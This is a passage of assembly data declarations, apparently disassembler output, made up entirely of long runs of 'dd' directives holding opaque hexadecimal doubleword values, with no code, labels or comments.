		dd 20468A21h, 5B73F70h,	199D33C2h, 0C8E9516h, 51C1B56Ah
		dd 0DE38100h, 5968CA2Ch, 574D69E9h, 1F7075F3h, 3188CA0Fh
		dd 0E6409780h, 5295E014h, 0BCB10046h, 89D5911Dh, 0C492E1BDh
		dd 0F138802Eh, 3AA0CD93h, 25E934FCh, 0B8F2E941h, 58931FC7h
		dd 19E9E90Fh, 435C6848h, 150560DDh, 659BD23h, 1E2F430Ch
		dd 0E1748A51h, 0CDA93A40h, 0FA3F03E0h, 0A0DF3467h, 19E81E24h
		dd 9B03943h, 0C9950105h, 3B5973E0h, 2AB0CEA6h, 45E3B969h
		dd 6115E4DEh, 0C020EC51h, 56C49AA1h, 59F0EB40h,	91351C1h
		dd 5BC64DBDh, 5F65EE7Ah, 1BA4C82Ah, 60754486h, 0CEA5BBBDh
		dd 6D3EC406h, 0ACBD1E05h, 9760F150h, 1BFE945h, 9055079Bh
		dd 785FFE8Ah, 0F4FC2E2Ch, 0AF943620h, 63C5A0DCh, 7970135h
		dd 0FABFF91h, 653F478Dh, 8A580288h, 6368C6D8h, 2240DD95h
		dd 2EBDEE58h, 438A2179h, 0A8277346h, 572A80E8h,	0F310F5Fh
		dd 585AEDB6h, 8A0E30D2h, 793F9AEAh, 0F92D87B3h,	0B920A55Dh
		dd 4A459D89h, 0A9EC4905h, 214CADE4h, 9625D6A0h,	3080A1E8h
		dd 0A14A4DB2h, 7DD36207h, 920FAB3h, 2F8E436h, 0A5A2F3F6h
		dd 9A41C00Bh, 0F2942392h, 8CE23017h, 3EC33A4Fh,	0A0974AA9h
		dd 99461D5h, 6A639DCh, 85A81370h, 3D1E042Dh, 22B4CA0Eh
		dd 40E49E01h, 0DEE71D22h, 0FE4B0900h, 0CE69C4B1h, 6B28B8B2h
		dd 84B72582h, 7F7BB207h, 0FC617DD2h, 0B418DCDAh, 85CC100Fh
		dd 0C6818012h, 0C7011C27h, 601B6409h, 4A058FCh,	7163D328h
		dd 0CBEDC12Eh, 0C6ECCBE9h, 0D1206E11h, 7D0CC407h, 5689120Bh
		dd 662480C1h, 459B90FBh, 88248011h, 1FBDEC4Eh, 0D9BC030Dh
		dd 8304169Ah, 8B61F7B0h, 0A259D125h, 5898B366h,	90E95A63h
		dd 842C0104h, 23B06300h, 2D75FE27h, 57C80976h, 7AC10BBBh
		dd 30B601C7h, 66288A21h, 0FA43BB8Fh, 0ACDD768Ah, 0ADF8805Bh
		dd 4D2376Dh, 4D9D0B6Eh,	0FDF01608h, 0DDB52729h,	61BFFC83h
		dd 0FF6F11E8h, 99A4FEB3h, 8E8B2DD6h, 0ECFC1h, 0EA88DF81h
		dd 0BF254816h, 9E27A116h, 1D9087A6h, 14F88915h,	51B7BA80h
		dd 8B48275Ah, 0DD7B5A77h, 5BE2700Ah, 173812CFh,	4CB0B2D1h
		dd 1306226Ch, 22359D09h, 5150BDh, 4FA40400h, 9A33E218h
		dd 6FADB6B7h, 4245933Dh, 605790FFh, 95209057h, 0C77F3FF4h
		dd 7000FEDCh, 899DCD94h, 0B4257DDAh, 5FCEA0ECh,	0F41B950h
		dd 90432310h, 0FAD98181h, 4AB3784Ch, 9A005C7Bh,	7E16E63h
		dd 7BB01DCBh, 1206112Fh, 577A85D5h, 0DF405A40h,	0A6545Ch
		dd 0EFC6AB36h, 0AE296CECh, 6487E605h, 0FBC39059h, 0E90684D1h
		dd 927E3B0Eh, 1C343600h, 7025E0F3h, 0AFA809EAh,	1202A539h
		dd 0B3002265h, 5C08B45h, 0A0790DBFh, 0A2A8F758h, 6E91356Fh
		dd 0F07FB6D6h, 0D0F91565h, 59348894h, 0A545F0DFh, 0C0C202EBh
		dd 0C00AE9A0h, 0BD3C6A3Dh, 2606D72Fh, 0D90191D1h, 0F5F95042h
		dd 0E3828AF7h, 5D720D61h, 0B626812Ah, 0B607544h, 0A8D88C66h
		dd 354436F8h, 34014F6Ah, 7C60F379h, 0F14ED062h,	0FE8B002Bh
		dd 0C24EFC1h, 20947468h, 23D7286h, 48295857h, 1DE41CDh
		dd 0AD32E91Ah, 6819306Bh, 0C53016DFh, 0ABE8DA9h, 149143Fh
		dd 40C5250Eh, 0DB6A50A9h, 6E404A7Ch, 0C3046112h, 6006E0C1h
		dd 7999ABD8h, 0F8D600D7h, 0ADE73268h, 0D4001592h, 812EF20Bh
		dd 26951BE9h, 12D235ACh, 239D3AC0h, 0FE740B15h,	0DA004744h
		dd 0F7D04B5Bh, 9C0A895h, 31AEFA54h, 27CD5B82h, 658A5E04h
		dd 386419C8h, 0D5118C50h, 349D0913h, 456B3CAAh,	11200E17h
		dd 0F889A723h, 16119D9Dh
		dd 0DC5B9582h, 56004151h, 9EDFB23Ah, 0BE262C1Ah, 0F6511509h
		dd 106593Ch, 0DE020F40h, 197942B9h, 0EF0EA618h,	2337B8CCh
		dd 68D0Fh, 0A7E6811Fh, 0E81D6355h, 0B0086725h, 93532Dh
		dd 1388F3C4h, 0E5AA5C95h, 8D078C28h, 4A9F2D49h,	99E082E6h
		dd 6305F7FEh, 0B94CF075h, 5B00EFF2h, 0ECE5CA33h, 0BF3C0922h
		dd 1A7B3BADh, 0F3A117E8h, 83F3702Eh, 0C1AC604Ch, 8D0948E1h
		dd 86C9EA40h, 0BD920345h, 1ED3E55h, 0B95019E2h,	95136177h
		dd 1C21160Dh, 2A3C1575h, 0B8C14ECh, 0B99D294Ah,	4A90ADD0h
		dd 1220BD20h, 2707A6E8h, 8B73EC3Dh, 9969F87Dh, 0C12DED1Bh
		dd 88CF8A0Eh, 8C556h, 0E80AD980h, 0C09C076Dh, 3A164676h
		dd 587631E2h, 0BE00281Dh, 0C00DB966h, 5C3FE82Dh, 0C03D9B2Eh
		dd 3F731728h, 1960C497h, 14E8062Bh, 0B58B0A57h,	42CB1B31h
		dd 4752129Dh, 0FD24EAEDh, 65F97695h, 0CB0382B8h, 0B70F0D4Eh
		dd 0DD6618C8h, 0B1BD7331h, 0CA672C64h, 0A831AD34h, 310B05E9h
		dd 85C1661Eh, 8980B57Ah, 4719E570h, 60176401h, 4C0AC5E4h
		dd 8004F431h, 0FD0F87CFh, 611C7007h, 74F15A53h,	0CD902EA1h
		dd 29AD664h, 0FBAE6480h, 3035939h, 8975E2D2h, 4909C29Dh
		dd 2CE5BD77h, 81C56F42h, 2F499D06h, 48238391h, 1D0D1084h
		dd 65B50105h, 351D0920h, 19F13371h, 53006418h, 0D79868AEh
		dd 0C711BD23h, 39E5E867h, 2C84883Dh, 0E81F931h,	81000BB9h
		dd 7078C7D7h, 55B86462h, 0D911F12Eh, 0F7181Ch, 91846A1Dh
		dd 46ADB3DEh, 0FE484D90h, 9A1B09BAh, 301C8DE8h,	39B8EB3Dh
		dd 0C540799Ch, 0A6396h,	0A7A45CCFh, 1DA05D6h, 0A449CC5Fh
		dd 6D84A9E1h, 9D83C531h, 21DC4102h, 0C95D170Dh,	0B505D823h
		dd 3660F7h, 54664BD7h, 0F189830h, 0B18E2734h, 19C4872Ah
		dd 0C0DDCB61h, 0C131F979h, 0F398C56h, 0DAE85900h, 0A0B7044Bh
		dd 0D0DFD3A3h, 58EBA920h, 9589E904h, 66881CD1h,	412E4F65h
		dd 0E8F50CEEh, 3771AFA2h, 648300DEh, 6022D845h,	0C9950908h
		dd 0CC800F29h, 0B4D061C9h, 7E4E6D31h, 0DE2B017Dh, 4D578065h
		dd 7088099Dh, 8B6612B0h, 4B10F8CFh, 8F81899Bh, 2F62828Ah
		dd 0E6BAF232h, 4C97658h, 8B08AFB6h, 0B843B9C3h,	0B85719CFh
		dd 2FF1AE98h, 1B6F97C5h, 9796D101h, 30BA6D6Eh, 2A4BA157h
		dd 175231E6h, 0A7301DE2h, 8C60002Dh, 0C60CC030h, 0F25038Ah
		dd 146EC482h, 2FD82B8Fh, 0E8C18B8h, 3CDB9E6Eh, 0A9720632h
		dd 0BE07B107h, 0B993C6FBh, 5647F410h, 0C8E6A350h, 4BC9B533h
		dd 13B4B712h, 6F92800Fh, 80955EE8h, 8A9D141Ah, 0C5027108h
		dd 5EFCD935h, 0DC8A5C5Bh, 6FB9D00h, 0F9BF0FE1h,	1995138Dh
		dd 0E8DDAD13h, 20A10198h, 1CB91509h, 7E7BFE89h,	4D08470h
		dd 29B928D6h, 0A02CF060h, 0C558B2E0h, 44207A8h,	0ADBBB509h
		dd 36472444h, 0B6E952DFh, 0A9D06137h, 0B75729C2h, 9E90A88h
		dd 0F88D06DEh, 449ED0FCh, 3E6F26DCh, 0B1ED1915h, 0C749D7B5h
		dd 9CABC0Bh, 5A13D7F2h,	0B10081E4h, 76039DCFh, 0FD46D6h
		dd 0ED62431Ah, 0C39C23B7h, 1BA187A0h, 45B9EF95h, 6E81174Fh
		dd 0F11635CBh, 0F3B8DDF9h, 6145516h, 6B9FE52h, 13AD214Bh
		dd 65CBC4CFh, 0D9AE1200h, 0C5C48D54h, 0E3B433AAh, 0FBECC1FAh
		dd 8D01347Ah, 4E9FBE59h, 1A7F30E4h, 0DC46BCh, 3798C8A1h
		dd 0CFD68197h, 547D5115h, 0B8A15D8Dh, 2636016Bh, 4CBF6682h
		dd 35EC8BA4h, 0AD781022h, 0B58B130Eh, 2E37B9F1h, 0F21A6A1Ah
		dd 50387D77h, 44CEF42Ch, 333A10BDh, 3C645ADFh, 18EBB75Fh
		dd 0D658478h, 0E57A408Bh, 72ABD931h, 0F1CF2E61h, 26C01B88h
		dd 3C0D9Fh, 0BAA0FAEEh,	3B7755BFh, 1572013h, 6480B36h
		dd 9529521Ah, 14DAE531h, 6DB75F92h, 9B951000h, 0ACD0BA5h
		dd 0AC23473Ah, 0D2F309BDh, 0FA801451h, 7A99F704h, 500B0642h
		dd 0FAC8DEC4h, 10EC520h, 1EF18151h, 0A75B97F8h,	1302B7ABh
		dd 31932258h, 0E9FE107Fh, 6F27D2CDh, 1585003Bh,	1A520EDh
		dd 0F2E94ABDh, 196E4E72h, 0A03C7A12h, 4AAD6A37h, 2B540FC0h
		dd 0B1D01BAEh, 88C94457h, 95891006h, 0A6FD9141h, 81508CAh
		dd 5508B626h, 5E510420h, 0E0A4E6C3h, 277A279Fh,	544F6C0h
		dd 0CCE27300h, 0E7A7ABDDh, 54DF0F48h, 116056BBh, 81955782h
		dd 43E9F705h, 5B813787h, 8A012171h, 189B2FC5h, 239C8380h
		dd 5208B9F3h, 800DE9A2h, 8B8C29AAh, 0DE01767Bh,	4497FC0Ah
		dd 91EBC0D5h, 0DADFE9BEh, 0D002DB34h, 46840F2Dh, 2022B49Bh
		dd 7173F33Ch, 0B5D1818h, 4784D022h, 0B1E71E81h,	56DB3E67h
		dd 0F1F5381h, 3EED4982h, 4B3CC8h, 0B4972C7Ah, 0F2E02A5Eh
		dd 7F8253Bh, 6E3991BFh,	8D03951Ah, 3B1AF985h, 2DAF29E0h
		dd 9D036381h, 2F4168B5h, 4CB51090h, 31FC008Ch, 8B33CAA9h
		dd 20E35070h, 904ED993h, 8580B39Bh, 4E050275h, 0C679E717h
		dd 1C99A8C1h, 41A25406h, 1CB1785Eh, 230832D9h, 0C462449Dh
		dd 0A83756CEh, 8C1AECC9h, 0BE3ACA0Eh, 0DCB701BBh, 729CC083h
		dd 90F98FDAh, 8546C80h,	0F8ED5002h, 347CE2E0h, 5DC04BCh
		dd 0F21DA25h, 0A41C1080h, 2C4ED57Ah, 69C92EBDh,	0BB8202Ah
		dd 0D2004DCAh, 85AB8BDCh, 487E8Eh, 0DA4FF69Ch, 0F60A243h
		dd 0B258A5Ah, 7FBBD7C0h, 224C2D17h, 5BA7C45Bh, 43935054h
		dd 0C1B12500h, 9C869EB3h, 55BB0E66h, 0AD368D99h, 0FBFE65CAh
		dd 8100B4A9h, 0BB0CD6EBh, 0CC17F78Fh, 0A4B36124h, 0AE440120h
		dd 0F6024E6Ah, 175BE05Eh, 8AD9028Ch, 0FBE3C72Ch, 13293140h
		dd 58509080h, 40C09452h, 37539BFBh, 23786875h, 1285F704h
		dd 1281310Fh, 8827585Ah, 1D76A5Bh, 0AEEC11C4h, 0DA337193h
		dd 7BC8CA00h, 788E179Dh, 2018C98h, 98B409F1h, 87EA7083h
		dd 7E0941D4h, 339F453h,	74908B91h, 16A36429h, 0B80D30E9h
		dd 3760B15Bh, 0FBD98205h, 1DDCBE76h, 82EA5856h,	1ED8C1B4h
		dd 22D1F640h, 0ED1A4999h, 5BEE81D3h, 7CF2EA8Fh,	0A00F69F9h
		dd 6EC34983h, 50E48EE3h, 2DF510E3h, 0FCBF5001h,	2E2B26BEh
		dd 48F63612h, 6959DE0h,	0F0BF6B07h, 64112362h, 8B4935FFh
		dd 8321FF70h, 0F2575EFh, 0EF80600Dh, 5BB70A0Bh,	7380A899h
		dd 3098685h, 13E10582h,	0AF6167BCh, 0C8BF3D30h,	15D11F12h
		dd 9DB5286Ah, 262D69E0h, 2724F982h, 603879DAh, 95C8402h
		dd 64904585h, 18CB815Bh, 60BE90BBh, 2940C195h, 811E4EE9h
		dd 2F840F15h, 19FAF688h, 41D98D31h, 0FFEE44B0h,	201E8636h
		dd 5F1225A5h, 0DA0770E6h, 2B5210C3h, 8CDD56BDh,	1D1071E4h
		dd 923F2A41h, 7A66E34Ah, 0B628FE79h, 0B569A0C8h, 0EFBC473h
		dd 8B45BF66h, 9379C12Bh, 0B17F4E00h, 2C931Bh, 1ABDC99Eh
		dd 3CE3FA83h, 0F12DE479h, 0D0B61CDh, 50F4E004h,	895FFC27h
		dd 0D044D0h, 0FFCD0E30h, 0B94945B7h, 99E6D807h,	0C6025BBh
		dd 9057C82Bh, 1B653728h, 0E9D171F1h, 5F36231Dh,	5D511851h
		dd 0B00AC0FAh, 4CC2F8E0h, 13042C5Fh, 0F5858BFDh, 358A206Ah
		dd 0B60BF173h, 5412E3Ch, 1CE80740h, 103B881Ah, 0D9724D61h
		dd 0DA342D0h, 85BD3320h, 3583C807h, 0DED88B89h,	9A86A65h
		dd 1ED40DDDh, 2E1E8462h, 0C5DEBFC7h, 0FE1809A5h, 3C898041h
		dd 0C6098EBDh, 0E16B2C99h, 6EB58D10h, 0D9C1BA5Eh, 0E7865BDh
		dd 0C96E9B93h, 0D6B5F685h, 8E001A46h, 0EA429371h, 572E3402h
		dd 5B209751h, 81FCC0B5h, 2439E6DFh, 8A3A9CB9h, 18909BB7h
		dd 52E31EFCh, 29D3676h
		dd 9259D73h, 1326E6C1h,	7BEF84B8h, 92573FDFh, 1F30E976h
		dd 0B62F880h, 29CA1F04h, 37F63C80h, 330125B5h, 0AE0B70ECh
		dd 0BF79D22Bh, 2C009AB8h, 7D7B68B7h, 9F5607ABh,	0D8809581h
		dd 200271A1h, 4EB710A6h, 0CD9A0022h, 0C9206153h, 2701915Fh
		dd 33ADF0CCh, 8680D1C2h, 4E983D0h, 0F27F475h, 0BBDF1088h
		dd 6EEF4F89h, 0C9AB0024h, 3CBB8860h, 64B71D2Ah,	0DE4AF80Dh
		dd 0E7BF8A8Ah, 8E231508h, 4A3001BDh, 0C32857A1h, 85DE9B5Bh
		dd 61D050D4h, 0EE5B47BCh, 1BC2728Bh, 8C10318h, 0B2984AC7h
		dd 0ADED5819h, 7BFAABE0h, 0EDC0BE7h, 0F387F2C1h, 0D72916BDh
		dd 2C99D11h, 127D2076h,	1D20A4B0h, 5AFC9221h, 0C168DE48h
		dd 11CF4D4h, 950CDF30h,	79C866CCh, 0DBF0F0Bh, 0C1428705h
		dd 484DFAFCh, 2B40F5BEh, 32E162FFh, 55822255h, 5E180C99h
		dd 2AE88104h, 12030D40h, 32EF2Ch, 0C69D3834h, 3A8A1779h
		dd 10297E3Ch, 5B2A16C1h, 1494001Ah, 0AE981927h,	8FE6F0A7h
		dd 4D811B0Bh, 3D1B0217h, 225F051Ch, 38020141h, 283D5504h
		dd 0EA230500h, 0B3861CF9h, 852902A8h, 7BB02A39h, 86350F03h
		dd 0B0A867C8h, 0CFB60C9h, 9C510970h, 71551A6Dh,	8AD209D5h
		dd 0DA3CE90Fh, 0C2F88Ch, 0A3D62D55h, 54EDC163h,	37113100h
		dd 98431866h, 0E9CD00A8h, 5204E180h, 0C9500A5Bh, 1410893h
		dd 58F63A60h, 8517252Ah, 8139D02Dh, 0E23D77F3h,	2B95F633h
		dd 90060081h, 989159BFh, 223AB0D7h, 109F0B88h, 57B781Fh
		dd 7F6036EDh, 0E0DBB690h, 5A1CD89Fh, 6130C137h,	0B6C0040Ah
		dd 7A3192A8h, 0FA92CD4Fh, 0B8282D60h, 9D4E292h,	0B8D7E19Eh
		dd 5C5C802h, 0FFC195D4h, 0DE001F03h, 6875B350h,	0E0564DD3h
		dd 0BB802BECh, 2D3ED195h, 0AC255A4Ah, 501F92A7h, 0F573E528h
		dd 25D00171h, 0EFE50BBFh, 0C10E5A8Ah, 0F0520C8h, 16CC0389h
		dd 2C2290D9h, 42FBA350h, 0E902145Dh, 5255017h, 0AEA234BFh
		dd 0CF008113h, 48032091h, 64ED35D3h, 301393B8h,	2617BCC1h
		dd 4F3AA520h, 456100DEh, 303BE573h, 2DE1C799h, 0DC6E5A71h
		dd 25875D00h, 0ACF9DA0Dh, 8B38EF54h, 747E2203h,	91A014FFh
		dd 0B5E819A3h, 0A9DCD64Ch, 277CBC3Ah, 17D88A60h, 50314D20h
		dd 0E1819A61h, 7B77A2Eh, 0D28985BCh, 7248C70Fh,	16A90664h
		dd 0F11905B8h, 0E9EC60F5h, 850C912Bh, 0C0416910h, 0D64B21A7h
		dd 51B00101h, 58DC9EC9h, 4E043661h, 3401746Eh, 1DB4AC10h
		dd 0A9FCE789h, 0E648B818h, 0C98D3089h, 53965BC7h, 0C895BA90h
		dd 908FB3D7h, 480390BCh, 963CBADEh, 80D9B716h, 0FF44AFDCh
		dd 9268B548h, 4A80F8DBh, 0BD05CBAFh, 782FE5Bh, 0A7116722h
		dd 72E15F0h, 0DF932AF1h, 3D181526h, 98703C4Ah, 31835A16h
		dd 405BD92Ah, 0D818BB42h, 9808EE34h, 8D8945ECh,	62E7E61Bh
		dd 81791531h, 57DF4632h, 60F22328h, 0A9252BA1h,	8E432601h
		dd 5FA0D40Ch, 3EA85634h, 8941853Eh, 84905004h, 2BD9FB1Ch
		dd 417D3B30h, 0DAB8240Dh, 8085C72Ch, 7D2C6B6Dh,	5CF23C50h
		dd 21696023h, 5D0B0BE2h, 0B311227h, 2BD07E7Bh, 3DEF025Dh
		dd 0A9ECDA1Eh, 0D3419385h, 40DDE922h, 3050FB48h, 44E0110Ch
		dd 0C11E01E6h, 0EB410E8h, 0F14C8183h, 8A295803h, 36EBE70Dh
		dd 6404DE36h, 3316EE39h, 2829501Bh, 58182140h, 570113CDh
		dd 8BC01B09h, 0D1F591C0h, 0EF7181Ch, 0D876BD4Dh, 0B3915362h
		dd 825FD570h, 47826025h, 85AE70Ah, 0DBA7E985h, 0AE2C703Bh
		dd 7369D309h, 41BC8249h, 1642426Ah, 5BB56AF7h, 80C8A8D3h
		dd 9E605210h, 9C954090h, 0D10635CDh, 580625C6h,	61CA1232h
		dd 6949045Bh, 0C04ADE2Dh, 94B5C47Dh, 54BB0E70h,	8AA4CD8Eh
		dd 4494C3D9h, 0DA9B914Bh, 0C0570092h, 6C71DEDh,	6BE50170h
		dd 0DCDB9Bh, 8D0FC708h,	964AA2DDh, 9C1D87B2h, 3CE080BFh
		dd 63BEB273h, 0C4A77200h, 76E12F17h, 0C5DC3D34h, 0AEBF5003h
		dd 96814C56h, 2BB859F8h, 15003B6Eh, 0DC521BEAh,	80BDF81h
		dd 40116FBAh, 0A0538427h, 5E247DCEh, 0C5B49BE7h, 0C429110Fh
		dd 63C0F11Ah, 34E13D78h, 0F2CB8102h, 605B11E2h,	8201F9D9h
		dd 851815F0h, 0D81103CDh, 0C4863489h, 8087B849h, 8192E1F3h
		dd 25320F66h, 1E00C7CAh, 78D38F56h, 4E350D4Eh, 201A20BEh
		dd 6900B8FEh, 4C283BAh,	9F3DBD33h, 2712DDA6h, 56B53E00h
		dd 422C9774h, 13F33C3Dh, 9D282A02h, 0CB8167B6h,	6D15BD09h
		dd 50891E0Eh, 713A7BEFh, 0E9DD2018h, 0DEAAE702h, 0C166B716h
		dd 0AD63226h, 5602036h,	611ED8BBh, 0B88B0831h, 0F529A1A0h
		dd 225F016h, 4C204B0Eh,	836DB52Eh, 0F2F978C1h, 9EB32F0h
		dd 0B9852960h, 98DBDAEAh, 1DD497AEh, 49493BFCh,	0C1468A0Fh
		dd 70153D25h, 0C66184A5h, 7A9916D9h, 0BE53094Bh, 0F91011ADh
		dd 62848404h, 0E8ED0753h, 56511296h, 8600C579h,	727BC774h
		dd 608E020Fh, 5B589527h, 0CCB75EE0h, 596E964Bh,	3C356600h
		dd 87162FF6h, 1D4525B8h, 0A7802A7Ch, 0ADF61A0Eh, 0F96E6B00h
		dd 0EBBC7758h, 2BF50A6Dh, 3FEAA329h, 5B562EA0h,	9D177D83h
		dd 0D3B81C31h, 520B0788h, 0FEB0589h, 20281A76h,	5DA10CC5h
		dd 84643C3Dh, 20825CDh,	0C39E7B16h, 7FD023C1h, 10F56883h
		dd 924832B9h, 4FA766CFh, 7CEDD024h, 39007D51h, 121E85BBh
		dd 123C7B79h, 82C44DDCh, 0A6565172h, 8C372Fh, 0A0B5B86Ah
		dd 0B92726EFh, 9245084Fh, 18156908h, 85312EC6h,	60A2A155h
		dd 0D41FD9Ch, 0B65F4869h, 4191E0E1h, 9C400042h,	1F73F78Eh
		dd 8000BFA3h, 0E928194Ah, 0E2FFF3B6h, 59D3103h,	3FC18B91h
		dd 9C04C96Eh, 0B8011A0Bh, 0B589C147h, 50001741h, 0DDBED98Bh
		dd 6834682Eh, 0A2B8DAF9h, 108AF505h, 0A705C522h, 0D3250D39h
		dd 1E8632C6h, 0E7EB464Dh, 75C05CEDh, 90324FDEh,	933F0BDEh
		dd 0B153C083h, 95EC478h, 5231D8BAh, 58A0CBE4h, 2E07B188h
		dd 0F6F79B8Fh, 0AAE45800h, 9FFD04BDh, 0C4A89C9Ah, 0A3C08406h
		dd 0A4F92A06h, 6D9D090Ah, 893D7E1Fh, 9A1B6985h,	533889C3h
		dd 0D692A4FEh, 0A161E213h, 3F11E30h, 1F8A006Ah,	82350470h
		dd 0DC055713h, 50AEAB1Eh, 0E70150ACh, 295F1525h, 974AD78Dh
		dd 53C16CDh, 79765C80h,	29133AE7h, 1E6D1FFh, 2E5C12E2h
		dd 9E2E7751h, 0CC3CC04Eh, 0B4026AF8h, 3B04DCD3h, 0D88A3DFDh
		dd 3118C81h, 0DF2F882Ah, 0DA778990h, 0A563FC58h, 24C86AAEh
		dd 591584D4h, 6AE912B3h, 5784F7B3h, 18941A46h, 1FEE3E8h
		dd 9DBC3119h, 2BCEB762h, 25711DCh, 0B1ADF781h, 51C24877h
		dd 8965E654h, 9270882h,	140CF7E1h, 3EBF3CB0h, 310BA432h
		dd 9CFEDBB3h, 0DC187649h, 6CDD1625h, 1607CDAh, 5BECC080h
		dd 520D8D23h, 0E15661A6h, 795C82C9h, 0D0512915h, 0E37CD680h
		dd 0FB6AF559h, 5E78FA20h, 0A43BF1D0h, 951A9331h, 0CEBE5431h
		dd 0B0E74091h, 792A88E1h, 70E6092Ah, 1948838Bh,	0E401DE8Bh
		dd 95336071h, 45AE035Dh, 0A30C802Ah, 1D2F6391h,	804CD23Ah
		dd 876CA238h, 4AC80BDAh, 0EEBED261h, 1EAF712Bh,	9CDA815Ch
		dd 0F069B9E8h, 98091E4Bh, 5A8E93BDh, 559D21CEh,	0F21ABF43h
		dd 0C199C12Bh, 0D00C161h, 4A5DB501h, 7ABEC908h,	0C2E86E17h
		dd 5A1718D6h, 53BE0D85h, 0BBB8D197h, 0BD82009Dh, 0FA1D8745h
		dd 0FC5BF824h, 0C9B52960h, 8537CB04h, 0A8C4A55Ah, 0A412163Dh
		dd 0D536BFA0h, 0B0380E9Bh, 549E8A4Dh, 601291A3h, 0E91CF62Ah
		dd 0D613DF5Dh, 0DB7ACC87h
		dd 0B4F146BDh, 6F834007h, 72032F92h, 0E0AB889Bh, 6B4E126Dh
		dd 22B5B229h, 0AB0F9532h, 2725A58Ah, 2BADFD02h,	0D8C4B0F7h
		dd 0B8E64A5Eh, 0C4892D5Bh, 3547A118h, 25ACFFA0h, 0C965174Dh
		dd 26C2C608h, 9C5BEB9Ah, 5808350h, 0EB6B18FEh, 0C8A08C2h
		dd 7CDCC4AFh, 0E36804FCh, 0AC96F32Ah, 0B9EFD8DDh, 0AD0E7049h
		dd 0C602C042h, 0EF38AE10h, 41E8A884h, 0AD1F83B5h, 3630AFD6h
		dd 509A5420h, 0A9758B43h, 162B5BF4h, 0E10EB6E7h, 1B20FC4Dh
		dd 0F21C4FDDh, 3C9A96D4h, 81C83E8Ah, 2B74DF80h,	8C0FECD2h
		dd 49EFD9B4h, 40C15986h, 433B4E11h, 0D6E2CD01h,	0E0A2640Ah
		dd 5AB64B1Ah, 6972C5E0h, 0F9E8DC02h, 41416102h,	127EA1B7h
		dd 3C6EAFD1h, 0E7EB0E00h, 0AA05E64Ch, 8817191h,	30F36C4Eh
		dd 93844E30h, 0F34AA5B7h, 0E2904D57h, 0AD40828Fh, 0BF802E99h
		dd 4E4EEEB7h, 0B8B1340Bh, 651325EEh, 59F0A3FFh,	56FA02B7h
		dd 4D975EFBh, 0B11941F9h, 59742EDh, 53A5BF20h, 0CA334AE9h
		dd 0A63122EEh, 0BF1A955Ch, 78FFB6C0h, 2D23C23Ah, 0C1966DE1h
		dd 2BF8A535h, 8845D728h, 9A8913E9h, 0E2A396F8h,	0DC5F005Eh
		dd 0F333B286h, 0D82838C9h, 0F54CD99Fh, 889C129Eh, 3788BFB2h
		dd 547DC2AFh, 8F15195h,	89605DF8h, 41BD11BCh, 0B10503F1h
		dd 92172A4Ah, 76E0EAA6h, 3401538Ah, 6630C2DBh, 33A35B3h
		dd 0FDD942Dh, 0CE5BF8FCh, 804AF045h, 5E1CBBAAh,	690F3425h
		dd 0B2156BADh, 8DAC2EC3h, 49EBC800h, 123050D7h,	228E0F44h
		dd 7089E8C1h, 197B9E00h, 9F00A494h, 0E9F098FBh,	4FC8D7Ch
		dd 30881A20h, 5F99C22Ch, 25BBD4F9h, 97D566FBh, 0F5021437h
		dd 0F8F87080h, 96E4B25Eh, 0AB00DCD5h, 0BB91E5C1h, 12140EE4h
		dd 0B7FE8A52h, 4EABA0D4h, 3F30BADh, 0C385566Ch,	0C4C3F3A9h
		dd 10A8EAB3h, 8B0F600Eh, 0FE64BA12h, 0A381ABEh,	0EF018F66h
		dd 0BB55E828h, 8D6AE0F1h, 9527E4E5h, 4A57D735h,	0F72515ECh
		dd 0D22C58F9h, 0FF3A9560h, 547C009Ah, 877FB406h, 2F310C37h
		dd 0D59D504Ch, 0B0782775h, 0B81DADD2h, 39EE12EDh, 4EF1B396h
		dd 0EC85E49Bh, 12E0F8B8h, 5D5F81E9h, 7D08B024h,	0BC5F1908h
		dd 2A123E09h, 0E65A10B3h, 1ACDE084h, 0A90601F3h, 0DF0AD381h
		dd 0A2043EA6h, 0AB8D1F7h, 0C034DE5Bh, 10DC31B9h, 0B5891364h
		dd 0A8A28469h, 4E09D2FEh, 27DB59FAh, 887B1E5Bh,	26A75FDh
		dd 930976ACh, 9682605Ah, 890126CDh, 5D2E75BDh, 0CC06D713h
		dd 0C30481CFh, 6850A48Ah, 5A59E699h, 0A0A0162Ah, 0EC31D2B8h
		dd 1CD1C8CEh, 664155ADh, 2676CFEh, 0AB2278BFh, 6B7B5602h
		dd 96729FEh, 570C5DC2h,	840027ECh, 0BBC9F42Fh, 0F2D875h
		dd 30983BCDh, 329B681Ch, 0B337ED06h, 1E668113h,	6CF23164h
		dd 0D72D0902h, 0ADA04D59h, 0C496DB6Fh, 22D576CAh, 0E4C90E9Bh
		dd 0D8BFBE82h, 7FF510D5h, 93D00BE7h, 87F030B3h,	482BA6A5h
		dd 0DD1558h, 138DBDFAh,	0CBD16008h, 656E615Fh, 0BC710713h
		dd 695B80ECh, 8C1F3ABh,	60D9D29h, 0A0CBCA3Dh, 436E5Ah
		dd 0E471F77h, 4B76C0FAh, 0D8DB0C5h, 46C5F982h, 60483D33h
		dd 7407B8Dh, 8FDB0780h,	93EE961h, 0F4A45Ch, 53D47DBAh
		dd 0BD1A0F5Eh, 70BE9D95h, 7C17CF80h, 11CC810Fh,	0CAF34A2Dh
		dd 25493099h, 53D9B529h, 36C4B32Bh, 0AC7ABB04h,	4F7A097Eh
		dd 0DD53341Eh, 21191559h, 9D352A84h, 8202DAA0h,	2384B8F9h
		dd 0F7D421BDh, 0F6D362A9h, 88BDA3EAh, 82D4E6h, 96F9C4BCh
		dd 2BECA8BFh, 1050382Fh, 0B72D7h, 0A75965A0h, 0A95D15B5h
		dd 259A8E00h, 0DE33AF62h, 0B77173Dh, 815B9B96h,	2D9941Ch
		dd 0F4798E71h, 0C36BBB82h, 6B9A3C58h, 91623595h, 3CA58018h
		dd 0B9823AC6h, 0B4138009h, 0B696DE2Ah, 143EEA0Fh, 355CC791h
		dd 3B0C447Bh, 4A00A2B4h, 0D5F1F6B6h, 4E02766Bh,	60199FD2h
		dd 60D5B2F8h, 2757EF04h, 8ED18991h, 0AC6A4625h,	1A0EB565h
		dd 6572B332h, 61A141F6h, 0B6D2B228h, 394CE058h,	51AD0B54h
		dd 5D0BF23Ch, 0DB503A7Ch, 461500F4h, 5B376C72h,	29E85636h
		dd 5F609550h, 9988195h,	9E62658Dh, 0E6205013h, 481EE00Bh
		dd 0E29B3F3Ch, 0F320A217h, 4DDE50EAh, 0D9128291h, 0EF5986B3h
		dd 0F881C867h, 110ABE81h, 0A4547CB1h, 0C95BD3A5h, 0B30E70C1h
